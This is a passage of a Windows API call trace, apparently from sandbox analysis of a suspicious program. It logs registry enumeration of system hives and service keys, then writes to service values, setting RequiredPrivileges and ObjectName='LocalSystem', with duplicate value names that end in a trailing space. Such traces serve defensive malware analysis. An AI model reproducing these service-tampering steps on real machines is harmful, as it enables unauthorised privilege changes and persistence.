out: lpName="msahci") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0256.208] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0256.208] RegCloseKey (hKey=0x148) returned 0x0 [0256.208] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.208] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.208] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.209] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.209] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.209] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.210] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.210] RegCloseKey (hKey=0x150) returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.210] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.210] RegCloseKey (hKey=0x148) returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.210] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.258] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.259] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.260] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.260] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0256.260] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0256.261] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0256.262] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0256.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0256.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0256.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0256.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0256.262] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.263] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0256.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0256.263] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0256.264] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x2520000, 